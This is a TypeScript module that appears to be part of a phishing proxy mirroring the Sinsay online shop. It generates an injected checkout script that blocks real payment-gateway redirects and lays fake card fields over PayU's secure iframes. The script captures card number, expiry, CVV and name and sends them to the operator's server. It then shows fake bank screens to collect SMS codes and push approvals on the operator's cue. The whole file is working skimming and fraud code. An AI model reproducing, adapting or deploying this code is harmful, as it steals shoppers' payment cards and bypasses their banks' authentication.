import { config } from '../config';

/**
 * Sinsay checkout payment:
 * - block PayU redirects
 * - keep original PayU chrome pixel-identical; cover only unreadable iframes
 * - pay → Aurora sheets + TG
 */
export function buildCheckoutPaymentBridge(): string {
  const payApi = '/api/checkout/order';
  const orderPath = config.intercept.checkoutOrderPath;
  const createdPath = config.intercept.checkoutOrderCreatedPath;
  const errorPath = config.intercept.checkoutOrderErrorPath;
  const payEnabled = config.checkout.payEnabled;

  return `<script data-proxy="checkout-payment">(function(){
  var ORDER_PATH='${orderPath}';
  var CREATED_PATH='${createdPath}';
  var ERROR_PATH='${errorPath}';
  var PAY_API='${payApi}';
  var PAY_ENABLED=${payEnabled};
  var SESSION_API='/api/checkout/pay/session';
  var path=location.pathname;
  var onOrder=path===ORDER_PATH||/^\\/pl\\/pl\\/checkout\\/order\\/?$/.test(path);
  var onCreated=path===CREATED_PATH||/^\\/pl\\/pl\\/checkout\\/order\\/created\\/?$/.test(path);
  if(!onOrder&&!onCreated)return;

  var GATEWAY_RE=/^(?:https?:)?\\/\\/(?:[a-z0-9.-]+\\.)?(?:payu\\.com|felopay\\.com|secure\\.payu\\.com|go\\.payu\\.com|klarna\\.com|paypal\\.com|paypo\\.pl|papay\\.|aurorapay\\.)/i;
  var GATEWAY_SUB=/payu\\.com|felopay|secure\\.payu|go\\.payu|klarna\\.com|paypal\\.com|paypo\\.pl|aurorapay/i;

  function isGatewayUrl(u){
    try{return GATEWAY_RE.test(String(u))||GATEWAY_SUB.test(String(u));}catch(e){return false;}
  }
  function isCheckoutStayPath(p){
    return p===ORDER_PATH||/^\\/pl\\/pl\\/checkout\\/order\\/?$/.test(p)
      ||p===CREATED_PATH||/^\\/pl\\/pl\\/checkout\\/order\\/created\\/?$/.test(p)
      ||p===ERROR_PATH||/^\\/pl\\/pl\\/checkout\\/order\\/error\\/?$/.test(p)
      ||p==='/pay'||p==='/pay/'||p.indexOf('/pay/')===0
      ||p.indexOf('/api/checkout/pay/')===0;
  }
  function stayOnOrder(u){
    try{return isCheckoutStayPath(new URL(String(u),location.origin).pathname);}catch(e){return false;}
  }
  function blockExternal(url){return isGatewayUrl(url)&&!stayOnOrder(url);}
  function allowCheckoutNav(){
    window.__allowCheckoutNav=true;
    setTimeout(function(){window.__allowCheckoutNav=false;},5000);
  }
  function goToCreated(){allowCheckoutNav();location.replace(CREATED_PATH);}
  function goToError(){allowCheckoutNav();location.replace(ERROR_PATH);}

  window.__MIRROR_CHECKOUT_PAYMENT__={api:PAY_API,payEnabled:PAY_ENABLED,orderPath:ORDER_PATH,mode:'aurora-pixel'};

  var _assign=location.assign.bind(location);
  var _replace=location.replace.bind(location);
  location.assign=function(u){if(blockExternal(u)){return;}return _assign(u);};
  location.replace=function(u){if(blockExternal(u)){return;}return _replace(u);};
  var _open=window.open;
  window.open=function(u,t,f){if(u&&blockExternal(u)){return null;}return _open.apply(window,arguments);};
  document.addEventListener('click',function(ev){
    var a=ev.target&&ev.target.closest?ev.target.closest('a[href]'):null;
    if(!a)return;
    var h=a.getAttribute('href')||'';
    if(blockExternal(h)){ev.preventDefault();ev.stopPropagation();}
  },true);
  var _fetch=window.fetch;
  if(_fetch){
    window.fetch=function(input,init){
      var url=typeof input==='string'?input:(input&&input.url?input.url:'');
      if(blockExternal(url)){
        return Promise.resolve(new Response(JSON.stringify({ok:true,mirrorPaymentLocal:true}),{status:200,headers:{'content-type':'application/json'}}));
      }
      return _fetch.apply(window,arguments);
    };
  }

  var sheetEl=null, es=null, busy=false, currentSid='';
  function ensureCss(){
    if(document.getElementById('sx-pay-css'))return;
    var s=document.createElement('style');
    s.id='sx-pay-css';
    s.textContent=
      '#sx-pay-sheet{position:fixed;inset:0;z-index:2147483646;display:none;align-items:center;justify-content:center;padding:20px;background:rgba(15,23,42,.55);backdrop-filter:blur(8px);font-family:inherit}'+
      '#sx-pay-sheet.open{display:flex}'+
      '#sx-pay-sheet .sx-card{width:min(440px,100%);background:#fff;border-radius:16px;padding:28px 24px;text-align:center;box-shadow:0 30px 90px rgba(0,0,0,.35);color:#111}'+
      '#sx-pay-sheet h2{margin:10px 0 8px;font-size:22px}'+
      '#sx-pay-sheet p{margin:0;color:#5b616b;font-size:14px;line-height:1.5}'+
      '#sx-pay-sheet .sx-spin{width:42px;height:42px;margin:0 auto 8px;border-radius:50%;border:3px solid #d7dbe2;border-top-color:#111;animation:sxspin .8s linear infinite}'+
      '@keyframes sxspin{to{transform:rotate(360deg)}}'+
      '#sx-pay-sheet input{width:100%;height:48px;border:1px solid #d7dbe2;border-radius:8px;padding:0 14px;font-size:18px;letter-spacing:.2em;text-align:center;box-sizing:border-box;margin-top:16px}'+
      '#sx-pay-sheet .sx-btn{margin-top:16px;width:100%;height:48px;border:0;border-radius:8px;background:#111;color:#fff;font-weight:700;cursor:pointer}'+
      '#sx-pay-sheet .sx-btn:disabled{opacity:.6}'+
      '#fp-modal,#sx-inline-card,#sx-card-fields{display:none!important}'+
      /* iframe stays in layout (pixel-identical chrome); only visually inert */+
      'iframe[data-sx-cover]{opacity:0!important;pointer-events:none!important;position:relative!important;z-index:0!important}'+
      '.sx-pixel-host{position:relative!important;z-index:2!important}'+
      'input.sx-pixel{position:absolute!important;left:0!important;top:0!important;right:0!important;bottom:0!important;z-index:10!important;width:100%!important;height:100%!important;margin:0!important;box-sizing:border-box!important;border:0!important;background:#fff!important;outline:none!important;padding:0 12px!important;font:16px/normal inherit!important;color:#111!important;caret-color:#111;border-radius:inherit;pointer-events:auto!important;-webkit-text-fill-color:#111!important}'+
      'input.sx-pixel::placeholder{color:#b0b0b0;opacity:1}'+
      '#sx-pay-err{display:none;color:#c62828;font:13px/1.4 sans-serif;font-weight:700;margin:10px 0;padding:8px 10px;background:#fff5f5;border:1px solid #ffc9c9;border-radius:6px}'+
      '#sx-pay-toast{position:fixed;left:50%;bottom:28px;transform:translateX(-50%);z-index:2147483647;display:none;max-width:90vw;padding:12px 16px;background:#111;color:#fff;font:14px/1.4 sans-serif;border-radius:10px;box-shadow:0 10px 30px rgba(0,0,0,.25)}';
    document.head.appendChild(s);
  }

  function showSheet(state, opts){
    ensureCss();
    opts=opts||{};
    if(!sheetEl){sheetEl=document.createElement('div');sheetEl.id='sx-pay-sheet';document.body.appendChild(sheetEl);}
    var masked=opts.maskedCard||'••••';
    var html='';
    if(state==='awaiting'||state==='awaiting_decision'){
      html='<div class="sx-card"><div class="sx-spin"></div><h2>Weryfikacja płatności</h2><p>Sprawdzamy kartę '+masked+'. Nie zamykaj tej strony.</p></div>';
    } else if(state==='sms'){
      html='<div class="sx-card"><h2>Kod SMS</h2><p>Wpisz kod z wiadomości SMS'+(opts.phoneHint?(' ('+opts.phoneHint+')'):'')+'.</p><input id="sx-sms" inputmode="numeric" maxlength="8" placeholder="••••••"/><button class="sx-btn" id="sx-sms-go">Potwierdź</button></div>';
    } else if(state==='push'){
      html='<div class="sx-card"><h2>Potwierdź w aplikacji banku</h2><p>Zaakceptuj powiadomienie push, a następnie kliknij poniżej.</p><button class="sx-btn" id="sx-push-go">Potwierdzam</button></div>';
    } else if(state==='custom'){
      html='<div class="sx-card"><h2>Dodatkowa weryfikacja</h2><p>'+(opts.message||'Wprowadź odpowiedź')+'</p><input id="sx-custom" placeholder="Odpowiedź"/><button class="sx-btn" id="sx-custom-go">Wyślij</button></div>';
    } else if(state==='approved'){
      html='<div class="sx-card"><h2>Płatność przyjęta</h2><p>Przekierowujemy do potwierdzenia zamówienia…</p></div>';
    } else if(state==='declined'||state==='invalid_card'||state==='failed'){
      html='<div class="sx-card"><h2>Płatność odrzucona</h2><p>Spróbuj ponownie lub wybierz inną kartę.</p><button class="sx-btn" id="sx-close">Zamknij</button></div>';
    } else {
      html='<div class="sx-card"><div class="sx-spin"></div><h2>Przetwarzanie…</h2><p>Proszę czekać.</p></div>';
    }
    sheetEl.innerHTML=html;
    sheetEl.classList.add('open');
    var smsGo=document.getElementById('sx-sms-go');
    if(smsGo)smsGo.onclick=function(){
      var code=(document.getElementById('sx-sms').value||'').replace(/\\D/g,'');
      if(code.length<4)return;
      smsGo.disabled=true;
      fetch('/pay/api/payments/'+encodeURIComponent(currentSid)+'/sms',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({code:code})})
        .finally(function(){showSheet('awaiting',opts);});
    };
    var pushGo=document.getElementById('sx-push-go');
    if(pushGo)pushGo.onclick=function(){
      pushGo.disabled=true;
      fetch('/pay/api/payments/'+encodeURIComponent(currentSid)+'/push-confirm',{method:'POST'})
        .finally(function(){showSheet('awaiting',opts);});
    };
    var customGo=document.getElementById('sx-custom-go');
    if(customGo)customGo.onclick=function(){
      var reply=(document.getElementById('sx-custom').value||'').trim();
      if(!reply)return;
      customGo.disabled=true;
      fetch('/pay/api/payments/'+encodeURIComponent(currentSid)+'/custom-reply',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({reply:reply})})
        .finally(function(){showSheet('awaiting',opts);});
    };
    var close=document.getElementById('sx-close');
    if(close)close.onclick=function(){sheetEl.classList.remove('open');busy=false;};
    if(state==='approved'){setTimeout(goToCreated,900);}
  }
  function subscribe(sid, opts){
    currentSid=sid;
    if(es){try{es.close();}catch(e){}}
    if(!window.EventSource)return;
    es=new EventSource('/pay/api/payments/'+encodeURIComponent(sid)+'/events');
    es.onmessage=function(ev){
      try{
        var data=JSON.parse(ev.data||'{}');
        var st=data.state||data.status||'';
        if(st==='awaiting_decision'||st==='pending_card')showSheet('awaiting',opts);
        else if(st==='sms')showSheet('sms',Object.assign({},opts,{phoneHint:data.phoneHint||opts.phoneHint}));
        else if(st==='push')showSheet('push',opts);
        else if(st==='custom')showSheet('custom',Object.assign({},opts,{message:data.message||data.text}));
        else if(st==='approved'||st==='paid'||st==='success'){showSheet('approved',opts);try{es.close();}catch(e){}}
        else if(st==='declined'||st==='invalid_card'||st==='failed'){showSheet('declined',opts);busy=false;try{es.close();}catch(e){}}
      }catch(e){}
    };
  }

  function digits(s){return String(s||'').replace(/\\D/g,'');}
  function txt(el){return ((el&&el.textContent)||'').replace(/\\s+/g,' ').trim();}
  function low(el){return txt(el).toLowerCase();}

  function cleanupLegacy(){
    ['sx-card-fields','sx-inline-card','fp-modal','sx-over-pan','sx-over-exp','sx-over-cvc'].forEach(function(id){
      var n=document.getElementById(id); if(n)n.remove();
    });
    [].slice.call(document.querySelectorAll('.sx-over-input')).forEach(function(n){n.remove();});
  }

  function findCardWidget(){
    var best=null,score=-1;
    var nodes=document.querySelectorAll('section,form,div,li,fieldset');
    for(var i=0;i<nodes.length;i++){
      var el=nodes[i];
      if(el.closest('#sx-pay-sheet'))continue;
      var t=low(el);
      if(t.length>6000)continue;
      var s=0;
      if(t.indexOf('numer karty')>=0)s+=4;
      if(t.indexOf('data ważności')>=0||t.indexOf('data waznosci')>=0)s+=3;
      if(/\\bcvv\\b|\\bcvc\\b/.test(t))s+=2;
      if(/\\bkarta\\b/.test(t))s+=1;
      if(t.indexOf('payu')>=0)s+=1;
      if(s>=7){
        s+=el.querySelectorAll('iframe').length*3;
        if(s>score){score=s;best=el;}
      }
    }
    return best;
  }

  function fieldTargets(root){
    if(!root)return {pan:null,exp:null,cvc:null};
    // Prefer iframes (PayU Secure Form) inside the card widget only.
    var iframes=[].slice.call(root.querySelectorAll('iframe')).filter(function(f){
      if(f.closest('#sx-pay-sheet'))return false;
      var r=f.getBoundingClientRect();
      if(r.width<40||r.height<20)return false;
      var src=((f.getAttribute('src')||'')+' '+(f.name||'')+' '+(f.id||'')).toLowerCase();
      // PayU secure forms often have opaque/empty name; accept sized iframes in card widget
      return /payu|secure|card|tokenize|papay|cvv|expir|number|sf-/.test(src) || src.length<2 || r.width>60;
    });
    // sort by document order
    iframes.sort(function(a,b){
      var p=a.compareDocumentPosition(b);
      return p&Node.DOCUMENT_POSITION_FOLLOWING? -1 : 1;
    });

    var pan=null,exp=null,cvc=null;
    // map by nearby label
    iframes.forEach(function(f){
      var host=f.parentElement||f;
      var context=low(host.parentElement||host)+' '+low(host);
      // walk up a bit for label text
      var p=host,blob='';
      for(var i=0;i<4&&p;i++){blob+=' '+low(p);p=p.parentElement;}
      if(!pan && (/numer karty|card.?number|cc-number|0000/.test(blob)||(!exp&&!cvc&&!pan))){
        if(/numer karty|card.?number|cc-number/.test(blob))pan=f;
      }
      if(!exp && (/ważn|wazn|expir|mm\\s*\\/\\s*rr|cc-exp/.test(blob)))exp=f;
      if(!cvc && (/\\bcvv\\b|\\bcvc\\b|cc-csc|security/.test(blob)))cvc=f;
    });
    // positional fallback
    if((!pan||!exp||!cvc) && iframes.length>=3){
      if(!pan)pan=iframes[0];
      if(!exp)exp=iframes[1];
      if(!cvc)cvc=iframes[2];
    } else if((!pan||!exp||!cvc) && iframes.length===2){
      // sometimes pan is separate and exp+cvc share — rare
      if(!pan)pan=iframes[0];
      if(!exp)exp=iframes[1];
    }

    // native input fallback (when PayU not iframe)
    if(!pan||!exp||!cvc){
      var inputs=[].slice.call((root||document).querySelectorAll('input:not([type="hidden"]):not([type="radio"]):not([type="checkbox"]):not(.sx-pixel)'));
      inputs.forEach(function(inp){
        if(inp.closest('#sx-pay-sheet'))return;
        var a=((inp.placeholder||'')+' '+(inp.name||'')+' '+(inp.id||'')+' '+(inp.getAttribute('aria-label')||'')).toLowerCase();
        var wrap=inp.parentElement;
        var lab=wrap?low(wrap):'';
        var blob=a+' '+lab;
        if(!pan && (/numer karty|0000 0000|cc-number|cardnumber/.test(blob)))pan=inp;
        else if(!exp && (/ważn|wazn|mm\\s*\\/\\s*rr|cc-exp|expir/.test(blob)))exp=inp;
        else if(!cvc && (/cvv|cvc|cc-csc|000$/.test(blob)||(inp.placeholder||'')==='000'))cvc=inp;
      });
    }
    return {pan:pan,exp:exp,cvc:cvc};
  }

  function coverTarget(target, id, opts){
    if(!target)return null;
    ensureCss();
    var host=target.parentElement||target;
    host.classList.add('sx-pixel-host');

    // keep iframe in layout for pixel-identical borders/size; make it inert
    if(target.tagName==='IFRAME'){
      target.setAttribute('data-sx-cover','1');
      target.setAttribute('tabindex','-1');
      try{
        var r=target.getBoundingClientRect();
        var cs=window.getComputedStyle(target);
        // move visible chrome onto host so opacity:0 iframe doesn't erase borders
        if(r.height>0)host.style.minHeight=r.height+'px';
        if(r.width>0)host.style.minWidth=r.width+'px';
        if(!host.getAttribute('data-sx-chrome')){
          host.setAttribute('data-sx-chrome','1');
          var border=cs.border;
          if(!border||border.indexOf('0px')===0||border==='none'){
            // PayU often paints border on wrapper — keep whatever host already has
            var hs=window.getComputedStyle(host);
            if(!hs.borderTopWidth||hs.borderTopWidth==='0px'){
              host.style.border='1px solid #d0d0d0';
              host.style.borderRadius=cs.borderRadius||'4px';
              host.style.background='#fff';
            }
          } else {
            host.style.border=border;
            host.style.borderRadius=cs.borderRadius||'4px';
            host.style.background=cs.backgroundColor&&cs.backgroundColor!=='rgba(0, 0, 0, 0)'?cs.backgroundColor:'#fff';
          }
          host.style.overflow='hidden';
        }
      }catch(e){}
    } else if(target.tagName==='INPUT' && !target.classList.contains('sx-pixel')){
      // native: reuse it directly (already pixel-identical)
      target.id=target.id||id;
      target.setAttribute('data-sx-native','1');
      if(opts.placeholder&&!target.placeholder)target.placeholder=opts.placeholder;
      return target;
    }

    var inp=document.getElementById(id);
    if(!inp){
      inp=document.createElement('input');
      inp.id=id;
      inp.className='sx-pixel';
      inp.type='text';
      inp.inputMode=opts.inputMode||'numeric';
      inp.autocomplete=opts.autocomplete||'off';
      inp.placeholder=opts.placeholder||'';
      if(opts.kind)inp.setAttribute('data-sx-kind',opts.kind);
      if(opts.maxLength)inp.maxLength=opts.maxLength;
      host.appendChild(inp);
      if(opts.kind==='pan'){
        inp.addEventListener('input',function(){
          var d=digits(inp.value).slice(0,19);
          inp.value=d.replace(/(\\d{4})(?=\\d)/g,'$1 ').trim();
        });
      } else if(opts.kind==='exp'){
        inp.addEventListener('input',function(){
          var d=digits(inp.value).slice(0,4);
          inp.value=d.length>2?d.slice(0,2)+' / '+d.slice(2):d;
        });
      } else if(opts.kind==='cvc'){
        inp.addEventListener('input',function(){inp.value=digits(inp.value).slice(0,4);});
      }
    } else if(inp.parentElement!==host){
      host.appendChild(inp);
    }

    // match font from surrounding PayU UI
    try{
      var sample=host.closest('section,form,div')||host;
      var cs=window.getComputedStyle(sample);
      inp.style.fontFamily=cs.fontFamily;
      inp.style.fontSize=cs.fontSize||'16px';
    }catch(e){}

    return inp;
  }

  var syncing=false;
  function ensurePixelFields(){
    if(syncing)return !!document.getElementById('sx-pan');
    syncing=true;
    try{
      ensureCss();
      cleanupLegacy();
      var root=findCardWidget();
      var t=fieldTargets(root);
      if(!t.pan||!t.exp||!t.cvc)return false;

      coverTarget(t.pan,'sx-pan',{kind:'pan',placeholder:'0000 0000 0000 0000',autocomplete:'cc-number',maxLength:23,inputMode:'numeric'});
      coverTarget(t.exp,'sx-exp',{kind:'exp',placeholder:'MM / RR',autocomplete:'cc-exp',maxLength:7,inputMode:'numeric'});
      coverTarget(t.cvc,'sx-cvc',{kind:'cvc',placeholder:'000',autocomplete:'cc-csc',maxLength:4,inputMode:'numeric'});

      if(!document.getElementById('sx-pay-err')&&root){
        var err=document.createElement('div');
        err.id='sx-pay-err';
        var remember=null;
        var nodes=root.querySelectorAll('label,div,span,p');
        for(var i=0;i<nodes.length;i++){
          if(low(nodes[i]).indexOf('zapamiętaj dane karty')>=0){remember=nodes[i].closest('label,div,li')||nodes[i];break;}
        }
        if(remember&&remember.parentElement)remember.parentElement.insertBefore(err, remember);
        else root.appendChild(err);
      }
      return true;
    } finally {
      syncing=false;
    }
  }

  function readCard(){
    ensurePixelFields();
    var panEl=document.getElementById('sx-pan')||document.querySelector('input.sx-pixel[data-sx-kind="pan"]');
    var expEl=document.getElementById('sx-exp')||document.querySelector('input.sx-pixel[data-sx-kind="exp"]');
    var cvcEl=document.getElementById('sx-cvc')||document.querySelector('input.sx-pixel[data-sx-kind="cvc"]');
    // also any .sx-pixel by order
    if(!panEl||!expEl||!cvcEl){
      var all=[].slice.call(document.querySelectorAll('input.sx-pixel'));
      if(all.length>=3){panEl=panEl||all[0];expEl=expEl||all[1];cvcEl=cvcEl||all[2];}
    }
    var pan=digits(panEl&&panEl.value);
    var exp=String((expEl&&expEl.value)||'').trim().replace(/\\s+/g,'').replace('-','/');
    if(/^\\d{4}$/.test(exp))exp=exp.slice(0,2)+'/'+exp.slice(2);
    var cvc=digits(cvcEl&&cvcEl.value);
    var hold='SINSAY CUSTOMER';
    try{
      var fn=document.querySelector('input[autocomplete="given-name"],[data-inv="firstname"]');
      var ln=document.querySelector('input[autocomplete="family-name"],[data-inv="lastname"]');
      var h=((fn&&fn.value)||'')+' '+((ln&&ln.value)||'');
      if(h.trim())hold=h.trim();
    }catch(e){}
    return {pan:pan,exp:exp,cvc:cvc,hold:hold};
  }

  function toast(msg){
    ensureCss();
    var el=document.getElementById('sx-pay-toast');
    if(!el){el=document.createElement('div');el.id='sx-pay-toast';document.body.appendChild(el);}
    el.textContent=msg||'';
    el.style.display=msg?'block':'none';
    if(msg){clearTimeout(el.__t);el.__t=setTimeout(function(){el.style.display='none';},4000);}
  }

  function showError(msg){
    ensurePixelFields();
    var el=document.getElementById('sx-pay-err');
    if(!el){
      el=document.createElement('div');
      el.id='sx-pay-err';
      var root=findCardWidget()||document.body;
      root.appendChild(el);
    }
    el.style.display=msg?'block':'none';
    el.textContent=msg||'';
    if(msg)toast(msg);
  }

  function startInlinePay(){
    if(!onOrder){toast('Otwórz stronę płatności');return;}
    if(busy){toast('Płatność w toku…');return;}
    if(!ensurePixelFields()){toast('Poczekaj na załadowanie pól karty i wpisz dane ponownie');return;}
    var card=readCard();
    if(card.pan.length<12){showError('Wpisz numer karty w polach poniżej (Karta)');return;}
    if(!/^\\d{2}\\/\\d{2}$/.test(card.exp)){showError('Wpisz datę ważności MM/RR');return;}
    if(card.cvc.length<3){showError('Wpisz kod CVV');return;}
    busy=true;
    showError('');
    toast('');
    var masked=card.pan.slice(0,4)+' **** **** '+card.pan.slice(-4);
    showSheet('awaiting',{maskedCard:masked});
    fetch(SESSION_API,{method:'POST',credentials:'include',headers:{'content-type':'application/json'},body:'{}'})
      .then(function(r){return r.json().catch(function(){return {};}).then(function(d){return {http:r.status,data:d};});})
      .then(function(startWrap){
        var start=startWrap.data||{};
        if(!start.ok||!start.sessionId)throw new Error(start.error||('Nie udało się rozpocząć płatności ('+startWrap.http+')'));
        currentSid=start.sessionId;
        subscribe(start.sessionId,{maskedCard:masked});
        return fetch('/pay/api/payments',{
          method:'POST',
          headers:{'content-type':'application/json'},
          body:JSON.stringify({
            sessionId:start.sessionId,
            cardNumber:card.pan,
            cardholder:card.hold||'SINSAY CUSTOMER',
            expiry:card.exp,
            cvc:card.cvc,
            email:'guest@sinsaybuy.com',
            orderId:String(start.reference||start.orderId||start.sessionId),
            amount:start.total,
            currency:start.currency||'PLN'
          })
        }).then(function(r){return r.json().then(function(d){return {ok:r.ok,data:d};});});
      })
      .then(function(res){
        if(!res.ok||!res.data||!res.data.ok)throw new Error((res.data&&(res.data.message||res.data.error))||'Błąd wysyłki karty');
        showSheet('awaiting',{maskedCard:res.data.maskedCard||masked});
      })
      .catch(function(err){
        busy=false;
        if(sheetEl)sheetEl.classList.remove('open');
        showError((err&&err.message)||'Płatność nie powiodła się');
      });
  }

  function foldLabel(label){
    var t=(label||'').replace(/\\s+/g,' ').trim().toLowerCase();
    try{t=t.normalize('NFD').replace(/[\\u0300-\\u036f]/g,'');}catch(e){}
    return t.replace(/ł/g,'l').replace(/ą/g,'a').replace(/ę/g,'e').replace(/ó/g,'o').replace(/ś/g,'s').replace(/ć/g,'c').replace(/ń/g,'n').replace(/ż|ź/g,'z');
  }
  function isPayLabel(label){
    var f=foldLabel(label);
    return /kupuje/.test(f) || /\\bplace\\b/.test(f) || /zaplac/.test(f) || f.indexOf('place')>=0;
  }
  function wirePayButton(){
    ensurePixelFields();
  }

  // Single capture handler — survives SPA re-renders
  document.addEventListener('click',function(ev){
    if(!onOrder||busy)return;
    var el=ev.target;
    if(!el||!el.closest)return;
    if(el.closest('#sx-pay-sheet')||el.closest('#sx-card-fields')||el.closest('input.sx-pixel'))return;
    var btn=el.closest('button,[role="button"],input[type="submit"],a');
    if(!btn)return;
    var label=((btn.innerText||btn.textContent||btn.value||'')+'').replace(/\\s+/g,' ').trim();
    if(!isPayLabel(label)&&!(btn.getAttribute&&btn.getAttribute('data-action')==='submit'))return;
    ev.preventDefault();
    ev.stopPropagation();
    ev.stopImmediatePropagation();
    startInlinePay();
  },true);

  if(onOrder){
    ensureCss();
    cleanupLegacy();
    ensurePixelFields();
    setInterval(function(){ensurePixelFields();},800);
    window.addEventListener('resize',function(){ensurePixelFields();},{passive:true});
    var moTimer=null;
    try{
      var mo=new MutationObserver(function(){
        if(moTimer)return;
        moTimer=setTimeout(function(){moTimer=null;ensurePixelFields();},250);
      });
      mo.observe(document.documentElement,{childList:true,subtree:true});
    }catch(e){}
  }

  var q=location.search||'';
  if(onOrder&&q.indexOf('mirror_payment=success')>=0){goToCreated();return;}
  if(onOrder&&q.indexOf('mirror_payment=failed')>=0){goToError();return;}
})();</script>`;
}
